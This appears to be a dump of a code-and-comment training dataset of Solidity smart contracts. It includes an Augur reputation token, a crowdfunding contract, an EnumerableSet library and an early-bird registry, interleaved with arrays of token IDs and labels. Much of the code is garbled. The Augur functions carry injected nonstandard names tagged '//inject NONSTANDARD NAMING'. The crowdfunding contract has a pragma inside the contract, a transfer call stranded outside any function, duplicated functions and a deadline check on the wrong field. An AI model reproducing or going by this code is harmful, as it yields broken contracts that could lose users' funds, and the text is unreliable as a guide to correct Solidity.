require(parentUniverse.ISCONTAINERFORREPORTINGPARTICIPANT696(_reportingParticipant));
// simulate a 40% ROI which would have occured during a normal dispute had this participant's outcome won the dispute
uint256 _bonus = _amountMigrated.MUL760(2) / 5;
MINT146(address(_reportingParticipant), _bonus);
return true;
}
function MINTFORWARPSYNC909(uint256 _amountToMint, address _target) public returns (bool) { //inject NONSTANDARD NAMING
require(warpSync == msg.sender);
MINT146(_target, _amountToMint);
universe.UPDATEFORKVALUES73();
return true;
}
function BURNFORMARKET683(uint256 _amountToBurn) public returns (bool) { //inject NONSTANDARD NAMING
require(universe.ISCONTAINERFORMARKET856(IMarket(msg.sender)));
BURN234(msg.sender, _amountToBurn);
return true;
}
function TRUSTEDUNIVERSETRANSFER148(address _source, address _destination, uint256 _attotokens) public returns (bool) { //inject NONSTANDARD NAMING
require(IUniverse(msg.sender) == universe);
_TRANSFER433(_source, _destination, _attotokens);
return true;
}
function TRUSTEDMARKETTRANSFER61(address _source, address _destination, uint256 _attotokens) public returns (bool) { //inject NONSTANDARD NAMING
require(universe.ISCONTAINERFORMARKET856(IMarket(msg.sender)));
_TRANSFER433(_source, _destination, _attotokens);
return true;
}
function TRUSTEDREPORTINGPARTICIPANTTRANSFER10(address _source, address _destination, uint256 _attotokens) public returns (bool) { //inject NONSTANDARD NAMING
require(universe.ISCONTAINERFORREPORTINGPARTICIPANT696(IReportingParticipant(msg.sender)));
_TRANSFER433(_source, _destination, _attotokens);
return true;
}
function TRUSTEDDISPUTEWINDOWTRANSFER53(address _source, address _destination, uint256 _attotokens) public returns (bool) { //inject NONSTANDARD NAMING
require(universe.ISCONTAINERFORDISPUTEWINDOW320(IDisputeWindow(msg.sender)));
_TRANSFER433(_source, _destination, _attotokens);
return true;
}
function ASSERTREPUTATIONTOKENISLEGITCHILD164(IReputationToken _shadyReputationToken) private view { //inject NONSTANDARD NAMING
IUniverse _universe = _shadyReputationToken.GETUNIVERSE719();
require(universe.ISPARENTOF319(_universe));
require(_universe.GETREPUTATIONTOKEN35() == _shadyReputationToken);
}
function GETUNIVERSE719() public view returns (IUniverse) { //inject NONSTANDARD NAMING
return universe;
}
function GETTOTALMIGRATED220() public view returns (uint256) { //inject NONSTANDARD NAMING
return totalMigrated;
}
function GETLEGACYREPTOKEN110() public view returns (IERC20) { //inject NONSTANDARD NAMING
return legacyRepToken;
}
function GETTOTALTHEORETICALSUPPLY552() public view returns (uint256) { //inject NONSTANDARD NAMING
uint256 _totalSupply = totalSupply;
if (parentUniverse == IUniverse(0)) {
return _totalSupply.ADD571(legacyRepToken.TOTALSUPPLY304()).SUB692(legacyRepToken.BALANCEOF492(address(1))).SUB692(legacyRepToken.BALANCEOF492(address(0)));
} else if (augur.GETTIMESTAMP626() >= parentUniverse.GETFORKENDTIME510()) {
return _totalSupply;
} else {
return _totalSupply + parentUniverse.GETREPUTATIONTOKEN35().GETTOTALTHEORETICALSUPPLY552();
}
}
function ONTOKENTRANSFER292(address _from, address _to, uint256 _value) internal { //inject NONSTANDARD NAMING
augur.LOGREPUTATIONTOKENSTRANSFERRED904(universe, _from, _to, _value, balances[_from], balances[_to]);
}
function ONMINT315(address _target, uint256 _amount) internal { //inject NONSTANDARD NAMING
augur.LOGREPUTATIONTOKENSMINTED985(universe, _target, _amount, totalSupply, balances[_target]);
}
function ONBURN653(address _target, uint256 _amount) internal { //inject NONSTANDARD NAMING
augur.LOGREPUTATIONTOKENSBURNED995(universe, _target, _amount, totalSupply, balances[_target]);
}
function MIGRATEFROMLEGACYREPUTATIONTOKEN918() public returns (bool) { //inject NONSTANDARD NAMING
require(parentUniverse == IUniverse(0));
uint256 _legacyBalance = legacyRepToken.BALANCEOF492(msg.sender);
require(legacyRepToken.TRANSFERFROM669(msg.sender, address(1), _legacyBalance));
MINT146(msg.sender, _legacyBalance);
return true;
}
} | inject NONSTANDARD NAMING
| function GETORCACHEDESIGNATEDREPORTSTAKE630() public returns (uint256); | 2,554,001 | [
1,
22170,
18708,
882,
18264,
423,
2192,
1360,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
4978,
916,
8495,
1639,
11260,
6344,
22710,
882,
37,
6859,
4449,
20,
1435,
1071,
1135,
261,
11890,
5034,
1769,
202,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/5/0xFaD0F37Fa9f3CEd7435C6ce675eF98a1502F4A1A/sources/contracts/CrowdFunding.sol | Structs are similar to objects in JS | contract CrowdFunding {
pragma solidity ^0.8.9;
struct Campaign {
address owner;
string title;
string description;
uint256 target;
uint256 deadline;
uint256 amountCollected;
string image;
address[] donators;
uint256[] donations;
}
mapping(uint256 => Campaign) public campaigns;
uint256 public numberOfCampaigns = 0;
function createCampaign(
address _owner,
string memory _title,
string memory _description,
uint256 _target,
uint256 _deadline,
string memory _image
) public returns (uint256) {
Campaign storage campaign = campaigns[numberOfCampaigns];
require(
campaign.deadline < block.timestamp,
"The deadline should be a date in the future."
);
campaign.owner = _owner;
campaign.title = _title;
campaign.description = _description;
campaign.target = _target;
campaign.deadline = _deadline;
campaign.amountCollected = 0;
campaign.image = _image;
numberOfCampaigns++;
return numberOfCampaigns - 1;
}
function donateToCampaign(uint256 _id) public payable {
uint256 amount = msg.value;
Campaign storage campaign = campaigns[_id];
campaign.donators.push(msg.sender);
campaign.donations.push(amount);
if (sent) {
campaign.amountCollected = campaign.amountCollected + amount;
}
}
(bool sent, ) = payable(campaign.owner).call{value: amount}("");
function donateToCampaign(uint256 _id) public payable {
uint256 amount = msg.value;
Campaign storage campaign = campaigns[_id];
campaign.donators.push(msg.sender);
campaign.donations.push(amount);
if (sent) {
campaign.amountCollected = campaign.amountCollected + amount;
}
}
function getDonators(
uint256 _id
) public view returns (address[] memory, uint256[] memory) {
return (campaigns[_id].donators, campaigns[_id].donations);
}
function getCampaigns() public view returns (Campaign[] memory) {
Campaign[] memory allCampaigns = new Campaign[](numberOfCampaigns);
for (uint i = 0; i < numberOfCampaigns; i++) {
Campaign storage item = campaigns[i];
allCampaigns[i] = item;
}
return allCampaigns;
}
function getCampaigns() public view returns (Campaign[] memory) {
Campaign[] memory allCampaigns = new Campaign[](numberOfCampaigns);
for (uint i = 0; i < numberOfCampaigns; i++) {
Campaign storage item = campaigns[i];
allCampaigns[i] = item;
}
return allCampaigns;
}
}
| 11,611,918 | [
1,
3823,
87,
854,
7281,
358,
2184,
316,
6756,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
385,
492,
72,
42,
14351,
288,
203,
683,
9454,
18035,
560,
3602,
20,
18,
28,
18,
29,
31,
203,
565,
1958,
17820,
288,
203,
3639,
1758,
3410,
31,
203,
3639,
533,
2077,
31,
203,
3639,
533,
2477,
31,
203,
3639,
2254,
5034,
1018,
31,
203,
3639,
2254,
5034,
14096,
31,
203,
3639,
2254,
5034,
3844,
10808,
329,
31,
203,
3639,
533,
1316,
31,
203,
3639,
1758,
8526,
2727,
3062,
31,
203,
3639,
2254,
5034,
8526,
2727,
1012,
31,
203,
565,
289,
203,
203,
565,
2874,
12,
11890,
5034,
516,
17820,
13,
1071,
8965,
87,
31,
203,
203,
565,
2254,
5034,
1071,
7922,
13432,
87,
273,
374,
31,
203,
203,
565,
445,
752,
13432,
12,
203,
3639,
1758,
389,
8443,
16,
203,
3639,
533,
3778,
389,
2649,
16,
203,
3639,
533,
3778,
389,
3384,
16,
203,
3639,
2254,
5034,
389,
3299,
16,
203,
3639,
2254,
5034,
389,
22097,
1369,
16,
203,
3639,
533,
3778,
389,
2730,
203,
565,
262,
1071,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
17820,
2502,
8965,
273,
8965,
87,
63,
2696,
951,
13432,
87,
15533,
203,
203,
3639,
2583,
12,
203,
5411,
8965,
18,
22097,
1369,
411,
1203,
18,
5508,
16,
203,
5411,
315,
1986,
14096,
1410,
506,
279,
1509,
316,
326,
3563,
1199,
203,
3639,
11272,
203,
203,
3639,
8965,
18,
8443,
273,
389,
8443,
31,
203,
3639,
8965,
18,
2649,
273,
389,
2649,
31,
203,
3639,
8965,
18,
3384,
273,
389,
3384,
31,
203,
3639,
8965,
18,
3299,
273,
389,
3299,
31,
203,
3639,
8965,
18,
22097,
2
] |
./partial_match/1/0x1f26f25F356cCa382A4F9B2A4d60966beF443b67/sources/MetaverseMassacre.sol | * @dev Gets the count of Mints left for a given account/ | function isWhitelisted(bytes32[] memory proof, address _account)
external
view
returns (bool)
{
return
MerkleProofUpgradeable.verify(
proof,
_whitelistMerkleRoot,
toBytes32(_account)
);
}
| 3,734,714 | [
1,
3002,
326,
1056,
434,
490,
28142,
2002,
364,
279,
864,
2236,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
353,
18927,
329,
12,
3890,
1578,
8526,
3778,
14601,
16,
1758,
389,
4631,
13,
203,
3639,
3903,
203,
3639,
1476,
203,
3639,
1135,
261,
6430,
13,
203,
565,
288,
203,
3639,
327,
203,
5411,
31827,
20439,
10784,
429,
18,
8705,
12,
203,
7734,
14601,
16,
203,
7734,
389,
20409,
8478,
15609,
2375,
16,
203,
7734,
23247,
1578,
24899,
4631,
13,
203,
5411,
11272,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
}
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import '@openzeppelin/contracts/utils/structs/EnumerableSet.sol';
import './IEarlyBirdRegistry.sol';
/// @title EarlyBirdRegistry
/// @author Simon Fremaux (@dievardump)
contract EarlyBirdRegistry is IEarlyBirdRegistry {
using EnumerableSet for EnumerableSet.AddressSet;
event ProjectCreated(
address indexed creator,
uint256 indexed projectId,
uint256 endRegistration, // when the registration ends
uint256 maxRegistration, // how many people can register
bool open // if the project accepts Open Registration
);
event Registration(uint256 indexed projectId, address[] list);
struct Project {
bool open;
address creator;
uint256 endRegistration;
uint256 maxRegistration;
}
// this is a counter that increments automatically when registering an Early Bird Project
uint256 lastProjectId;
// list of all projects
mapping(uint256 => Project) public projects;
// list of registered address for a project
mapping(uint256 => EnumerableSet.AddressSet) internal _registered;
modifier onlyProject(uint256 projectId) {
require(exists(projectId), 'Unknown project id.');
_;
}
constructor() {}
/// @notice allows anyone to register a new project that accepts Early Birds registrations
/// @param open if the early bird registration is open or only creator can register addresses
/// @param endRegistration unix epoch timestamp of registration closing
/// @param maxRegistration the max registration count
/// @return projectId the project Id (useful if called by a contract)
function registerProject(
bool open,
uint256 endRegistration,
uint256 maxRegistration
) external override returns (uint256 projectId) {
projectId = lastProjectId + 1;
lastProjectId = projectId;
projects[projectId] = Project({
open: open,
creator: msg.sender,
endRegistration: endRegistration,
maxRegistration: maxRegistration
});
emit ProjectCreated(
msg.sender,
projectId,
endRegistration,
maxRegistration,
open
);
}
/// @notice tells if a project exists
/// @param projectId project id to check
/// @return true if the project exists
function exists(uint256 projectId) public view override returns (bool) {
return projectId > 0 && projectId <= lastProjectId;
}
/// @notice Helper to paginate all address registered for a project
/// Using pagination just in case it ever happens that there are much EarlyBirds
/// @param projectId the project id
/// @param offset index where to start
/// @param limit how many to grab
/// @return list of registered addresses
function listRegistrations(
uint256 projectId,
uint256 offset,
uint256 limit
)
external
view
override
onlyProject(projectId)
returns (address[] memory list)
{
EnumerableSet.AddressSet storage registered = _registered[projectId];
uint256 count = registered.length();
require(offset < count, 'Offset too high');
if (count < offset + limit) {
limit = count - offset;
}
list = new address[](limit);
for (uint256 i; i < limit; i++) {
list[i] = registered.at(offset + i);
}
}
/// @notice Helper to know how many address registered to a project
/// @param projectId the project id
/// @return how many people registered
function registeredCount(uint256 projectId)
external
view
override
onlyProject(projectId)
returns (uint256)
{
return _registered[projectId].length();
}
/// @notice Small helpers that returns in how many seconds a project registration ends
/// @param projectId to check
/// @return the time in second before end; 0 if ended
function registrationEndsIn(uint256 projectId)
public
view
returns (uint256)
{
if (projects[projectId].endRegistration <= block.timestamp) {
return 0;
}
return projects[projectId].endRegistration - block.timestamp;
}
/// @notice Helper to check if an address is registered for a project id
/// @param check the address to check
/// @param projectId the project id
/// @return if the address was registered as an early bird
function isRegistered(address check, uint256 projectId)
external
view
override
onlyProject(projectId)
returns (bool)
{
return _registered[projectId].contains(check);
}
/// @notice Allows the creator of a project to change registration open state
/// this can be usefull to first register a specific list of addresses
/// before making the registration public
/// @param projectId to modify
/// @param open if the project is open to anyone or only creator can change
function setRegistrationOpen(uint256 projectId, bool open) external {
require(
msg.sender == projects[projectId].creator,
'Not project creator.'
);
projects[projectId].open = open;
}
/// @notice Allows a user to register for an EarlyBird spot on a project
/// @dev the project needs to be "open" for people to register directly to it
/// @param projectId the project id to register to
function registerTo(uint256 projectId) external onlyProject(projectId) {
Project memory project = projects[projectId];
require(project.open == true, 'Project not open.');
EnumerableSet.AddressSet storage registered = _registered[projectId];
require(
// before end registration time
block.timestamp <= project.endRegistration &&
// and there is still available spots
registered.length() + 1 <= project.maxRegistration,
'Registration closed.'
);
require(!registered.contains(msg.sender), 'Already registered');
// add user to list
registered.add(msg.sender);
address[] memory list = new address[](1);
list[0] = msg.sender;
emit Registration(projectId, list);
}
/// @notice Allows a project creator to add early birds in Batch
/// @dev msg.sender must be the projectId creator
/// @param projectId to add to
/// @param birds all addresses to add
function registerBatchTo(uint256 projectId, address[] memory birds)
external
override
{
Project memory project = projects[projectId];
require(msg.sender == project.creator, 'Not project creator.');
uint256 count = birds.length;
EnumerableSet.AddressSet storage registered = _registered[projectId];
// before end registration time
require(
block.timestamp <= project.endRegistration,
'Registration closed.'
);
// and there is still enough available spots
require(
registered.length() + count <= project.maxRegistration,
'Not enough spots.'
);
for (uint256 i; i < count; i++) {
registered.add(birds[i]);
}
emit Registration(projectId, birds);
}
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @title IEarlyBirdRegistry
/// @author Simon Fremaux (@dievardump)
interface IEarlyBirdRegistry {
/// @notice allows anyone to register a new project that accepts Early Birds registrations
/// @param open if the early bird registration is open or only creator can register addresses
/// @param endRegistration unix epoch timestamp of registration closing
/// @param maxRegistration the max registration count
/// @return projectId the project Id (useful if called by a contract)
function registerProject(
bool open,
uint256 endRegistration,
uint256 maxRegistration
) external returns (uint256 projectId);
/// @notice tells if a project exists
/// @param projectId project id to check
/// @return if the project exists
function exists(uint256 projectId) external view returns (bool);
/// @notice Helper to paginate all address registered for a project
/// @param projectId the project id
/// @param offset index where to start
/// @param limit how many to grab
/// @return list of registered addresses
function listRegistrations(
uint256 projectId,
uint256 offset,
uint256 limit
) external view returns (address[] memory list);
/// @notice Helper to know how many address registered to a project
/// @param projectId the project id
/// @return how many people registered
function registeredCount(uint256 projectId) external view returns (uint256);
/// @notice Helper to check if an address is registered for a project id
/// @param check the address to check
/// @param projectId the project id
/// @return if the address was registered as an early bird
function isRegistered(address check, uint256 projectId)
external
view
returns (bool);
/// @notice Allows a project creator to add early birds in Batch
/// @dev msg.sender must be the projectId creator
/// @param projectId to add to
/// @param birds all addresses to add
function registerBatchTo(uint256 projectId, address[] memory birds)
external;
}
| @title IEarlyBirdRegistry @author Simon Fremaux (@dievardump) | interface IEarlyBirdRegistry {
function registerProject(
bool open,
uint256 endRegistration,
uint256 maxRegistration
) external returns (uint256 projectId);
function exists(uint256 projectId) external view returns (bool);
function listRegistrations(
uint256 projectId,
uint256 offset,
uint256 limit
) external view returns (address[] memory list);
function registeredCount(uint256 projectId) external view returns (uint256);
function isRegistered(address check, uint256 projectId)
external
view
returns (bool);
function registerBatchTo(uint256 projectId, address[] memory birds)
external;
pragma solidity ^0.8.0;
}
